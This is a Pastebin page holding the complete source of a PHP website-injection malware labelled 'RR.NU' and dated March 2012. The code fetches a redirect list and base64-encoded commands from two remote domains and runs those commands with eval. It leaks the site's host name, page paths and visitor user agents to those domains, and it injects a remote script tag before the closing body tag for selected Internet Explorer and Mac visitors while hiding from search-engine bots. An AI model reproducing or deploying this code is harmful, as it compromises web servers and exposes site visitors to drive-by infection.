SHARE
TWEET

the current RR.NU malware 20120305

a guest Mar 5th, 2012 4,212 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) {
  2.     $_SERVER['mr_no'] = 1;
  3.     if (!function_exists('mrobh')) {
  4.         function get_tds_777($url) {
  5.             $content = "";
  6.             $content = @trycurl_777($url);
  7.             if ($content !== false) return $content;
  8.             $content = @tryfile_777($url);
  9.             if ($content !== false) return $content;
  10.             $content = @tryfopen_777($url);
  11.             if ($content !== false) return $content;
  12.             $content = @tryfsockopen_777($url);
  13.             if ($content !== false) return $content;
  14.             $content = @trysocket_777($url);
  15.             if ($content !== false) return $content;
  16.             return '';
  17.         }
  18.         function trycurl_777($url) {
  19.             if (function_exists('curl_init') === false) return false;
  20.             $ch = curl_init();
  21.             curl_setopt($ch, CURLOPT_URL, $url);
  22.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  23.             curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  24.             curl_setopt($ch, CURLOPT_HEADER, 0);
  25.             $result = curl_exec($ch);
  26.             curl_close($ch);
  27.             if ($result == "") return false;
  28.             return $result;
  29.         }
  30.         function tryfile_777($url) {
  31.             if (function_exists('file') === false) return false;
  32.             $inc = @file($url);
  33.             $buf = @implode('', $inc);
  34.             if ($buf == "") return false;
  35.             return $buf;
  36.         }
  37.         function tryfopen_777($url) {
  38.             if (function_exists('fopen') === false) return false;
  39.             $buf = '';
  40.             $f = @fopen($url, 'r');
  41.             if ($f) {
  42.                 while (!feof($f)) {
  43.                     $buf.= fread($f, 10000);
  44.                 }
  45.                 fclose($f);
  46.             } else return false;
  47.             if ($buf == "") return false;
  48.             return $buf;
  49.         }
  50.         function tryfsockopen_777($url) {
  51.             if (function_exists('fsockopen') === false) return false;
  52.             $p = @parse_url($url);
  53.             $host = $p['host'];
  54.             $uri = $p['path'].'?'.$p['query'];
  55.             $f = @fsockopen($host, 80, $errno, $errstr, 30);
  56.             if (!$f) return false;
  57.             $request = "GET $uri HTTP/1.0\n";
  58.             $request.= "Host: $host\n\n";
  59.             fwrite($f, $request);
  60.             $buf = '';
  61.             while (!feof($f)) {
  62.                 $buf.= fread($f, 10000);
  63.             }
  64.             fclose($f);
  65.             if ($buf == "") return false;
  66.             list($m, $buf) = explode(chr(13).chr(10).chr(13).chr(10), $buf);
  67.             return $buf;
  68.         }
  69.         function trysocket_777($url) {
  70.             if (function_exists('socket_create') === false) return false;
  71.             $p = @parse_url($url);
  72.             $host = $p['host'];
  73.             $uri = $p['path'].'?'.$p['query'];
  74.             $ip1 = @gethostbyname($host);
  75.             $ip2 = @long2ip(@ip2long($ip1));
  76.             if ($ip1 != $ip2) return false;
  77.             $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  78.             if (!@socket_connect($sock, $ip1, 80)) {@socket_close($sock);
  79.                 return false;
  80.             }
  81.             $request = "GET $uri HTTP/1.0\n";
  82.             $request.= "Host: $host\n\n";
  83.             socket_write($sock, $request);
  84.             $buf = '';
  85.             while ($t = socket_read($sock, 10000)) {
  86.                 $buf.= $t;
  87.             }@socket_close($sock);
  88.             if ($buf == "") return false;
  89.             list($m, $buf) = explode(chr(13).chr(10).chr(13).chr(10), $buf);
  90.             return $buf;
  91.         }
  92.         function update_tds_file_777($tdsfile) {
  93.             $actual1 = $_SERVER['s_a1'];
  94.             $actual2 = $_SERVER['s_a2'];
  95.             $val = get_tds_777($actual1);
  96.             if ($val == "") $val = get_tds_777($actual2);
  97.             $f = @fopen($tdsfile, "w");
  98.             if ($f) {@fwrite($f, $val);@fclose($f);
  99.             }
  100.             if (strstr($val, "|||CODE|||")) {
  101.                 list($val, $code) = explode("|||CODE|||", $val);
  102.                 eval(base64_decode($code));
  103.             }
  104.             return $val;
  105.         }
  106.         function get_actual_tds_777() {
  107.             $defaultdomain = $_SERVER['s_d1'];
  108.             $dir = $_SERVER['s_p1'];
  109.             $tdsfile = $dir."log1.txt";
  110.             if (@file_exists($tdsfile)) {
  111.                 $mtime = @filemtime($tdsfile);
  112.                 $ctime = time() - $mtime;
  113.                 if ($ctime > $_SERVER['s_t1']) {
  114.                     $content = update_tds_file_777($tdsfile);
  115.                 } else {
  116.                     $content = @file_get_contents($tdsfile);
  117.                 }
  118.             } else {
  119.                 $content = update_tds_file_777($tdsfile);
  120.             }
  121.             $tds = @explode("\n", $content);
  122.             $c = @count($tds) + 0;
  123.             $url = $defaultdomain;
  124.             if ($c > 1) {
  125.                 $url = trim($tds[mt_rand(0, $c - 2)]);
  126.             }
  127.             return $url;
  128.         }
  129.         function is_mac_777($ua) {
  130.             $mac = 0;
  131.             if (stristr($ua, "mac") || stristr($ua, "safari")) if ((!stristr($ua, "windows")) && (!stristr($ua, "iphone"))) $mac = 1;
  132.             return $mac;
  133.         }
  134.         function is_msie_777($ua) {
  135.             $msie = 0;
  136.             if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9")) $msie = 1;
  137.             return $msie;
  138.         }
  139.         function setup_globals_777() {
  140.             $rz = $_SERVER["DOCUMENT_ROOT"]."/.logs/";
  141.             $mz = "/tmp/";
  142.             if (!is_dir($rz)) {@mkdir($rz);
  143.                 if (is_dir($rz)) {
  144.                     $mz = $rz;
  145.                 } else {
  146.                     $rz = $_SERVER["SCRIPT_FILENAME"]."/.logs/";
  147.                     if (!is_dir($rz)) {@mkdir($rz);
  148.                         if (is_dir($rz)) {
  149.                             $mz = $rz;
  150.                         }
  151.                     } else {
  152.                         $mz = $rz;
  153.                     }
  154.                 }
  155.             } else {
  156.                 $mz = $rz;
  157.             }
  158.             $bot = 0;
  159.             $ua = $_SERVER['HTTP_USER_AGENT'];
  160.             if (stristr($ua, "msnbot") || stristr($ua, "Yahoo")) $bot = 1;
  161.             if (stristr($ua, "bingbot") || stristr($ua, "google")) $bot = 1;
  162.             $msie = 0;
  163.             if (is_msie_777($ua)) $msie = 1;
  164.             $mac = 0;
  165.             if (is_mac_777($ua)) $mac = 1;
  166.             if (($msie == 0) && ($mac == 0)) $bot = 1;
  167.             global $_SERVER;
  168.             $_SERVER['s_p1'] = $mz;
  169.             $_SERVER['s_b1'] = $bot;
  170.             $_SERVER['s_t1'] = 1200;
  171.             $_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/";
  172.             $d = '?d='.urlencode($_SERVER["HTTP_HOST"])."&p=".urlencode($_SERVER["PHP_SELF"])."&a=".urlencode($_SERVER["HTTP_USER_AGENT"]);
  173.             $_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php'.$d;
  174.             $_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php'.$d;
  175.             $_SERVER['s_script'] = "nl.php?p=d";
  176.         }
  177.         setup_globals_777();
  178.         if (!function_exists('gml_777')) {
  179.             function gml_777() {
  180.                 $r_string_777 = '';
  181.                 if ($_SERVER['s_b1'] == 0) $r_string_777 = '<script src="'.get_actual_tds_777().$_SERVER['s_script'].'"></script>';
  182.                 return $r_string_777;
  183.             }
  184.         }
  185.         if (!function_exists('gzdecodeit')) {
  186.             function gzdecodeit($decode) {
  187.                 $t = @ord(@substr($decode, 3, 1));
  188.                 $start = 10;
  189.                 $v = 0;
  190.                 if ($t & 4) {
  191.                     $str = @unpack('v', substr($decode, 10, 2));
  192.                     $str = $str[1];
  193.                     $start += 2 + $str;
  194.                 }
  195.                 if ($t & 8) {
  196.                     $start = @strpos($decode, chr(0), $start) + 1;
  197.                 }
  198.                 if ($t & 16) {
  199.                     $start = @strpos($decode, chr(0), $start) + 1;
  200.                 }
  201.                 if ($t & 2) {
  202.                     $start += 2;
  203.                 }
  204.                 $ret = @gzinflate(@substr($decode, $start));
  205.                 if ($ret === FALSE) {
  206.                     $ret = $decode;
  207.                 }
  208.                 return $ret;
  209.             }
  210.         }
  211.         function mrobh($content) {@Header('Content-Encoding: none');
  212.             $decoded_content = gzdecodeit($content);
  213.             if (preg_match('/\<\/body/si', $decoded_content)) {
  214.                 return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777()."\n".'$1', $decoded_content);
  215.             } else {
  216.                 return $decoded_content.gml_777();
  217.             }
  218.         }
  219.         ob_start('mrobh');
  220.     }
  221. }
RAW Paste Data
Top